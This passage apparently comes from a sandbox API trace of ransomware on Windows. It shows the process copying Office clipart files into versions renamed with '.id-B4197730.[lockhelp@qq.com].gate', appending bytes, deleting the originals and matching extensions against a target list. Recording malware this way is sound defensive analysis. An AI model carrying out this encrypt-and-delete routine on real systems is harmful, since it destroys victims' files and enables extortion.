lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.141] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.141] SetEndOfFile (hFile=0x50c) returned 1 [0296.141] CloseHandle (hObject=0x50c) returned 1 [0296.141] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.141] SetEndOfFile (hFile=0x52c) returned 1 [0296.153] CloseHandle (hObject=0x52c) returned 1 [0296.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0296.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0296.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0296.154] lstrlenW (lpString=".doc") returned 4 [0296.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.154] lstrlenW (lpString=".docx") returned 5 [0296.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.154] lstrlenW (lpString=".pdf") returned 4 [0296.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.154] lstrlenW (lpString=".xls") returned 4 [0296.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.154] lstrlenW (lpString=".xlsx") returned 5 [0296.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.154] lstrlenW (lpString=".ppt") returned 4 [0296.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0296.154] lstrlenW (lpString=".zip") returned 4 [0296.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.154] lstrlenW (lpString=".rar") returned 4 [0296.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.154] lstrlenW (lpString=".bz2") returned 4 [0296.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.154] lstrlenW (lpString=".7z") returned 3 [0296.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0296.155] lstrlenW (lpString=".dbf") returned 4 [0296.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0296.155] lstrlenW (lpString=".1cd") returned 4 [0296.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0296.155] lstrlenW (lpString=".jpg") returned 4 [0296.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.155] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=37390) returned 1 [0296.156] CloseHandle (hObject=0x52c) returned 1 [0296.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0296.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0296.156] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.156] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0296.157] GetLastError () returned 0x0 [0296.157] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x920e, lpOverlapped=0x0) returned 1 [0296.230] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x9210, lpOverlapped=0x0) returned 1 [0296.231] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.231] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.231] SetEndOfFile (hFile=0x50c) returned 1 [0296.231] CloseHandle (hObject=0x50c) returned 1 [0296.231] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.231] SetEndOfFile (hFile=0x52c) returned 1 [0296.234] CloseHandle (hObject=0x52c) returned 1 [0296.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0296.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0296.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0296.235] lstrlenW (lpString=".doc") returned 4 [0296.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString=".docx") returned 5 [0296.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.235] lstrlenW (lpString=".pdf") returned 4 [0296.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString=".xls") returned 4 [0296.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.235] lstrlenW (lpString=".xlsx") returned 5 [0296.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.235] lstrlenW (lpString=".ppt") returned 4 [0296.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0296.235] lstrlenW (lpString=".zip") returned 4 [0296.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.235] lstrlenW (lpString=".rar") returned 4 [0296.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString=".bz2") returned 4 [0296.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString=".7z") returned 3 [0296.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0296.235] lstrlenW (lpString=".dbf") returned 4 [0296.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0296.235] lstrlenW (lpString=".1cd") returned 4 [0296.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0296.235] lstrlenW (lpString=".jpg") returned 4 [0296.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.236] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=18194) returned 1 [0296.236] CloseHandle (hObject=0x52c) returned 1 [0296.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0296.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0296.237] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.237] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0296.237] GetLastError () returned 0x0 [0296.237] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4712, lpOverlapped=0x0) returned 1 [0296.352] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4720, lpOverlapped=0x0) returned 1 [0296.353] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.353] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.353] SetEndOfFile (hFile=0x50c) returned 1 [0296.353] CloseHandle (hObject=0x50c) returned 1 [0296.354] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.354] SetEndOfFile (hFile=0x52c) returned 1 [0296.356] CloseHandle (hObject=0x52c) returned 1 [0296.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0296.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0296.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0296.357] lstrlenW (lpString=".doc") returned 4 [0296.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.357] lstrlenW (lpString=".docx") returned 5 [0296.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.357] lstrlenW (lpString=".pdf") returned 4 [0296.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.357] lstrlenW (lpString=".xls") returned 4 [0296.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.357] lstrlenW (lpString=".xlsx") returned 5 [0296.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.357] lstrlenW (lpString=".ppt") returned 4 [0296.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0296.357] lstrlenW (lpString=".zip") returned 4 [0296.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.357] lstrlenW (lpString=".rar") returned 4 [0296.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.357] lstrlenW (lpString=".bz2") returned 4 [0296.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.357] lstrlenW (lpString=".7z") returned 3 [0296.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0296.357] lstrlenW (lpString=".dbf") returned 4 [0296.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0296.357] lstrlenW (lpString=".1cd") returned 4 [0296.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0296.358] lstrlenW (lpString=".jpg") returned 4 [0296.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.358] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=8552) returned 1 [0296.358] CloseHandle (hObject=0x52c) returned 1 [0296.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0296.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0296.359] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.359] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0296.360] GetLastError () returned 0x0 [0296.360] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2168, lpOverlapped=0x0) returned 1 [0296.518] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2170, lpOverlapped=0x0) returned 1 [0296.519] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.519] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.520] SetEndOfFile (hFile=0x50c) returned 1 [0296.520] CloseHandle (hObject=0x50c) returned 1 [0296.520] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.520] SetEndOfFile (hFile=0x52c) returned 1 [0296.522] CloseHandle (hObject=0x52c) returned 1 [0296.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0296.523] lstrlenW (lpString=".doc") returned 4 [0296.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.523] lstrlenW (lpString=".docx") returned 5 [0296.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.523] lstrlenW (lpString=".pdf") returned 4 [0296.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.523] lstrlenW (lpString=".xls") returned 4 [0296.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.523] lstrlenW (lpString=".xlsx") returned 5 [0296.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.524] lstrlenW (lpString=".ppt") returned 4 [0296.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0296.524] lstrlenW (lpString=".zip") returned 4 [0296.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.524] lstrlenW (lpString=".rar") returned 4 [0296.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.524] lstrlenW (lpString=".bz2") returned 4 [0296.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.524] lstrlenW (lpString=".7z") returned 3 [0296.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0296.524] lstrlenW (lpString=".dbf") returned 4 [0296.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0296.524] lstrlenW (lpString=".1cd") returned 4 [0296.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0296.524] lstrlenW (lpString=".jpg") returned 4 [0296.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.525] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11002) returned 1 [0296.525] CloseHandle (hObject=0x52c) returned 1 [0296.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0296.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0296.525] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.525] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0296.526] GetLastError () returned 0x0 [0296.526] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2afa, lpOverlapped=0x0) returned 1 [0296.761] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2b00, lpOverlapped=0x0) returned 1 [0296.762] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.762] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.762] SetEndOfFile (hFile=0x50c) returned 1 [0296.967] CloseHandle (hObject=0x50c) returned 1 [0296.967] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.967] SetEndOfFile (hFile=0x52c) returned 1 [0296.970] CloseHandle (hObject=0x52c) returned 1 [0296.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0296.987] lstrlenW (lpString=".doc") returned 4 [0296.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString=".docx") returned 5 [0296.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.987] lstrlenW (lpString=".pdf") returned 4 [0296.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString=".xls") returned 4 [0296.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.987] lstrlenW (lpString=".xlsx") returned 5 [0296.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.987] lstrlenW (lpString=".ppt") returned 4 [0296.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0296.987] lstrlenW (lpString=".zip") returned 4 [0296.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.987] lstrlenW (lpString=".rar") returned 4 [0296.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString=".bz2") returned 4 [0296.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") 